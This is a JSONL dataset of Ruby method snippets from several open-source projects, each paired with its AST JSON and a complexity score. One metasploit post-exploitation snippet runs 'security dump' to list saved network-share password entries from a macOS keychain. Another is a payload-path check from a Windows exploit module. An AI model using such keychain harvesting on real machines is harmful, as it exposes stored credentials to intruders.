oaded\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"isStaffWritesOnly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@staff_writes_only_mode\"]},\"to_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preloaded\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"activatedThemes\"]},{\"type\":\"send\",\"children\":[null,\"activated_themes_json\"]}]}]}]}","id":"b5ea3add-90b7-49b7-be2d-b16e76103217"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/upload_metadata.rb","start_line":455,"raw_source":"def retry_if_nil(message)\n      tries = options[:version_check_wait_retry_limit]\n      wait_time = 10\n      loop do\n        tries -= 1\n\n        value = yield\n        return value if value\n\n        # Calculate sleep time to be the lesser of the exponential backoff or 5 minutes.\n        # This prevents problems with CI's console output timeouts (of usually 10 minutes), and also\n        # speeds up the retry time for the user, as waiting longer than 5 minutes is a too long wait for a retry.\n        sleep_time = [wait_time * 2, 5 * 60].min\n        UI.message(\"#{message}... Retrying after #{sleep_time} seconds (remaining: #{tries})\")\n        Kernel.sleep(sleep_time)\n\n        return nil if tries.zero?\n\n        wait_time *= 2 # Double the wait time for the next iteration\n      end\n    end","complexity_score":26.75,"ast_json":"{\"type\":\"def\",\"children\":[\"retry_if_nil\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tries\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version_check_wait_retry_limit\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wait_time\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tries\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sleep_time\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_time\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"*\",{\"type\":\"int\",\"children\":[60]}]}]},\"min\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\"... Retrying after \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sleep_time\"]}]},{\"type\":\"str\",\"children\":[\" seconds (remaining: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tries\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},\"sleep\",{\"type\":\"lvar\",\"children\":[\"sleep_time\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tries\"]},\"zero?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wait_time\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}","id":"18dbc2a9-794f-4678-a516-b17a8d33b399"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":1702,"raw_source":"def calculate_power_state\n    self.class.calculate_power_state(raw_power_state)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_power_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"calculate_power_state\",{\"type\":\"send\",\"children\":[null,\"raw_power_state\"]}]}]}","id":"2db84681-283c-40ec-ae7c-a26e59de0db9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/manage/mount_share.rb","start_line":134,"raw_source":"def get_keyring_shares(security_path)\n    # Grep for desc srvr and ptcl\n    data = cmd_exec(\"#{security_path} dump\")\n    lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip)\n\n    # Go through the list, find the saved Network Password descriptions\n    # and their corresponding ptcl and srvr attributes\n    list = []\n    lines.each_with_index do |line, x|\n      # Remove everything up to the double-quote after the equal sign,\n      # and also the trailing double-quote\n      next unless line =~ /\"desc\"<blob>=(\"Network Password\"|<NULL>)/ && x < lines.length - 2 && (lines[x + 1].match \"^.*\\=\\\"(.*)\\w*\\\"\\w*$\")\n\n      protocol = ::Regexp.last_match(1)\n      if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x + 2].match(\"^.*\\=\\\"(.*)\\\"\\w*$\")\n        server = ::Regexp.last_match(1)\n        list.push(protocol + \"\\t\" + server)\n      end\n    end\n    list.sort\n  end","complexity_score":46.68,"ast_json":"{\"type\":\"def\",\"children\":[\"get_keyring_shares\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"security_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"security_path\"]}]},{\"type\":\"str\",\"children\":[\" dump\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lines\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"lines\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"desc|srvr|ptcl\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]},{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"desc\\\"<blob>=(\\\"Network Password\\\"|<NULL>)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"match\",{\"type\":\"str\",\"children\":[\"^.*=\\\"(.*)w*\\\"w*$\"]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protocol\"]},\"start_with?\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FILE_SHARE_PROTOCOLS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]},\"match\",{\"type\":\"str\",\"children\":[\"^.*=\\\"(.*)\\\"w*$\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"server\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protocol\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\t\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"server\"]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"sort\"]}]}]}","id":"33d8ab52-253c-43ee-9fc2-65f553920df7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/cogent_datahub_command.rb","start_line":335,"raw_source":"def blacklisted_path?(uri)\n    share_path = \"/#{@share_name}\"\n    payload_path = \"#{share_path}/#{@basename}.dll\"\n    case uri\n    when payload_path\n      return false\n    when share_path\n      return false\n    else\n      return true\n    end\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"blacklisted_path?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"share_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@share_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@basename\"]}]},{\"type\":\"str\",\"children\":[\".dll\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"when\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share_path\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"4cd331e2-53ad-4b29-ade4-87a2ed286586"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/admin/announcements_helper.rb","start_line":8,"raw_source":"def datetime_placeholder\n    Time.zone.now.strftime('%FT%R')\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"datetime_placeholder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%FT%R\"]}]}]}","id":"ec87de4e-0ec0-4730-81fd-75ee6af938dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/omniauth_callbacks_controller.rb","start_line":351,"raw_source":"def fail_salesforce_login\n    fail_login_with_message(_('Email not verified. Please verify your email in Salesforce.'))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fail_salesforce_login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"fail_login_with_message\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Email not verified. Please verify your email in Salesforce.\"]}]}]}]}","id":"9cb74915-d702-493b-b6e8-22d9c935bfd8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/design_repo_saver.rb","start_line":9,"raw_source":"def repository\n        @repository ||= exportable.design_repository\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exportable\"]},\"design_repository\"]}]}]}","id":"365e9bf1-5e76-4ddb-8f50-74fa01ea9dbf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb","start_line":73,"raw_source":"def dbconsole(config, options = {})\n          pg_config = config.configuration_hash\n\n          ENV[\"PGUSER\"]         = pg_config[:username] if pg_config[:username]\n          ENV[\"PGHOST\"]         = pg_config[:host] if pg_config[:host]\n          ENV[\"PGPORT\"]         = pg_config[:port].to_s if pg_config[:port]\n          ENV[\"PGPASSWORD\"]     = pg_config[:password].to_s if pg_config[:password] && options[:include_password]\n          ENV[\"PGSSLMODE\"]      = pg_config[:sslmode].to_s if pg_config[:sslmode]\n          ENV[\"PGSSLCERT\"]      = pg_config[:sslcert].to_s if pg_config[:sslcert]\n          ENV[\"PGSSLKEY\"]       = pg_config[:sslkey].to_s if pg_config[:sslkey]\n          ENV[\"PGSSLROOTCERT\"]  = pg_config[:sslrootcert].to_s if pg_config[:sslrootcert]\n          if pg_config[:variables]\n            ENV[\"PGOPTIONS\"] = pg_config[:variables].filter_map do |name, value|\n              \"-c #{name}=#{value.to_s.gsub(/[ \\\\]/, '\\\\\\\\\\0')}\" unless value == \":default\" || value == :default\n            end.join(\" \")\n          end\n          find_cmd_and_exec(ActiveRecord.database_cli[:postgresql], config.database)\n        end","complexity_score":68.7,"ast_json":"{\"type\":\"def\",\"children\":[\"dbconsole\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pg_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"configuration_hash\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PGUSER\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PGHOST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PGPORT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},\"to_s\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PGPASSWORD\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]},\"to_s\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sslmode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PGSSLMODE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sslmode\"]}]},\"to_s\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sslcert\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PGSSLCERT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sslcert\"]}]},\"to_s\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sslkey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PGSSLKEY\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sslkey\"]}]},\"to_s\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sslrootcert\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PGSSLROOTCERT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sslrootcert\"]}]},\"to_s\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"variables\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PGOPTIONS\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"variables\"]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"str\",\"children\":[\":default\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"sym\",\"children\":[\"default\"]}]}]},null,{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-c \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[ \\\\\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\\\\\\\\\0\"]}]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"find_cmd_and_exec\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"database_cli\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"postgresql\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"database\"]}]}]}]}","id":"89b4f49a-d1a4-4184-87cd-f10c95be37e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/metric.rb","start_line":383,"raw_source":"def qualifier\n        case value\n        when 'unique_count'\n          'unique'\n        when 'sum'\n          'all'\n        end\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"qualifier\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"unique_count\"]},{\"type\":\"str\",\"children\":[\"unique\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"sum\"]},{\"type\":\"str\",\"children\":[\"all\"]}]},null]}]}","id":"c835ef62-b6ff-48fc-ab2c-a6a1b9b683fc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":169,"raw_source":"def recreate_metadata_tables\n        schema_migration = ActiveRecord::Base.connection_pool.schema_migration\n        schema_migration.drop_table\n        schema_migration.create_table\n\n        internal_metadata = ActiveRecord::Base.connection_pool.internal_metadata\n        internal_metadata.drop_table\n        internal_metadata.create_table\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"recreate_metadata_tables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"schema_migration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"schema_migration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema_migration\"]},\"drop_table\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema_migration\"]},\"create_table\"]},{\"type\":\"lvasgn\",\"children\":[\"internal_metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"internal_metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"internal_metadata\"]},\"drop_table\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"internal_metadata\"]},\"create_table\"]}]}]}","id":"1279672a-6719-4f8d-adb9-3f50296b5af6"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/source_annotation_extractor.rb","start_line":145,"raw_source":"def self.enumerate(tag = nil, options = {})\n      tag ||= Annotation.tags.join(\"|\")\n      extractor = new(tag)\n      dirs = options.delete(:dirs) || Annotation.directories\n      extractor.display(extractor.find(dirs), options)\n    end","complexity_score":13.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enumerate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"tag\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Annotation\"]},\"tags\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"extractor\",{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dirs\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"dirs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Annotation\"]},\"directories\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extractor\"]},\"display\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extractor\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"dirs\"]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"d09d8196-c3ac-4464-84f6-312f73535c5c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/docker_run/smocker.rb","start_line":137,"raw_source":"def host_network?\n          network == \"host\"\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"host_network?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"network\"]},\"==\",{\"type\":\"str\",\"children\":[\"host\"]}]}]}","id":"1ff4b777-af75-4c63-abe4-9055e281b61d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/method_complexity.rb","start_line":74,"raw_source":"def location(node)\n        if LSP.enabled?\n          end_range = node.loc.respond_to?(:name) ? node.loc.name : node.loc.begin\n          node.source_range.begin.join(end_range)\n        else\n          node.source_range\n        end\n      end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"location\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LSP\"]},\"enabled?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"end_range\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"begin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"begin\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"end_range\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]}]}]}","id":"733eec46-8889-4e1c-88ee-1559c7f8cf42"}
